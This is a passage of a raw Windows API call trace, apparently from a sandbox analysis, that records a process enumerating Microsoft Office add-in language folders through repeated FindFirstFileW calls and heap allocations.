lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.029] GetProcessHeap () returned 0xc10000 [0224.029] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.034] GetProcessHeap () returned 0xc10000 [0224.034] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.034] GetProcessHeap () returned 0xc10000 [0224.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0224.188] GetProcessHeap () returned 0xc10000 [0224.188] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.189] GetProcessHeap () returned 0xc10000 [0224.189] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0224.193] GetProcessHeap () returned 0xc10000 [0224.193] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.193] GetProcessHeap () returned 0xc10000 [0224.193] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0224.197] GetProcessHeap () returned 0xc10000 [0224.197] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.197] GetProcessHeap () returned 0xc10000 [0224.197] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0224.201] GetProcessHeap () returned 0xc10000 [0224.201] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.201] GetProcessHeap () returned 0xc10000 [0224.201] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.201] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0224.205] GetProcessHeap () returned 0xc10000 [0224.205] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.205] GetProcessHeap () returned 0xc10000 [0224.205] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0224.210] GetProcessHeap () returned 0xc10000 [0224.210] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.210] GetProcessHeap () returned 0xc10000 [0224.210] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.214] GetProcessHeap () returned 0xc10000 [0224.214] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.214] GetProcessHeap () returned 0xc10000 [0224.214] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0224.218] GetProcessHeap () returned 0xc10000 [0224.218] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.219] GetProcessHeap () returned 0xc10000 [0224.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0224.222] GetProcessHeap () returned 0xc10000 [0224.222] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.222] GetProcessHeap () returned 0xc10000 [0224.222] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0224.225] GetProcessHeap () returned 0xc10000 [0224.225] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.225] GetProcessHeap () returned 0xc10000 [0224.225] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0224.416] GetProcessHeap () returned 0xc10000 [0224.416] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.417] GetProcessHeap () returned 0xc10000 [0224.417] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0224.421] GetProcessHeap () returned 0xc10000 [0224.421] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.421] GetProcessHeap () returned 0xc10000 [0224.421] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.425] GetProcessHeap () returned 0xc10000 [0224.425] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.425] GetProcessHeap () returned 0xc10000 [0224.425] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.430] GetProcessHeap () returned 0xc10000 [0224.430] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.430] GetProcessHeap () returned 0xc10000 [0224.430] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0224.434] GetProcessHeap () returned 0xc10000 [0224.434] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.434] GetProcessHeap () returned 0xc10000 [0224.434] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.439] GetProcessHeap () returned 0xc10000 [0224.439] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.439] GetProcessHeap () returned 0xc10000 [0224.439] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0224.444] GetProcessHeap () returned 0xc10000 [0224.444] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.444] GetProcessHeap () returned 0xc10000 [0224.445] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0224.445] GetProcessHeap () returned 0xc10000 [0224.445] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.446] GetProcessHeap () returned 0xc10000 [0224.446] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0224.451] GetProcessHeap () returned 0xc10000 [0224.451] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0224.451] GetProcessHeap () returned 0xc10000 [0224.451] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0224.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0224.508] GetProcessHeap () returned 0xc10000 [0224.508] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0224.513] GetProcessHeap () returned 0xc10000 [0224.513] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.513] GetProcessHeap () returned 0xc10000 [0224.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.519] GetProcessHeap () returned 0xc10000 [0224.519] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.519] GetProcessHeap () returned 0xc10000 [0224.519] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.568] GetProcessHeap () returned 0xc10000 [0224.568] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.568] GetProcessHeap () returned 0xc10000 [0224.568] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0224.573] GetProcessHeap () returned 0xc10000 [0224.573] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.573] GetProcessHeap () returned 0xc10000 [0224.573] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0224.577] GetProcessHeap () returned 0xc10000 [0224.577] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.577] GetProcessHeap () returned 0xc10000 [0224.577] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0224.581] GetProcessHeap () returned 0xc10000 [0224.581] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.581] GetProcessHeap () returned 0xc10000 [0224.581] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0224.585] GetProcessHeap () returned 0xc10000 [0224.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0224.585] GetProcessHeap () returned 0xc10000 [0224.586] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0224.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 